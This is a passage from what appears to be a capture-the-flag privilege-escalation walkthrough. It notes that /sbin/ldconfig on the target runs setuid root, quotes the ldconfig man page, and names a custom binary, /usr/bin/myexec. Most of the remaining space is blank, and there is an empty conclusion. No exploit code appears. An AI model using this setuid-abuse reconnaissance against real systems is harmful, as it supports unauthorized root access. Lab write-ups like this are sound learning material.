Let it run, and then you can inspect what's interesting, most importantly the /sbin/ldconfig binary has the setuid bit enabled to run as root. ldconfig:

![](prg/12/21.png)
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/5 ] [~]
    → man ldconfig
    
    
    DESCRIPTION
      ldconfig  creates  the  necessary  links  and  cache  to  the  most  recent  shared  libraries  found  in  the  directories specified on the command line, in the file
      /etc/ld.so.conf, and in the trusted directories, /lib and /usr/lib (on some 64-bit architectures such as x86-64, /lib and /usr/lib are  the  trusted  directories  for
      32-bit libraries, while /lib64 and /usr/lib64 are used for 64-bit libraries).
      The  cache  is used by the run-time linker, ld.so or ld-linux.so.  ldconfig checks the header and filenames of the libraries it encounters when determining which ver‐
      sions should have their links updated.
      ldconfig will attempt to deduce the type of ELF libraries (i.e., libc5 or libc6/glibc) based on what C libraries, if any, the library was linked against.
    
    

The second binary we need is located in /usr/bin/myexec:

![](prg/12/22.png)
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    

## **Conclusion**

Here we can see the progress graph :

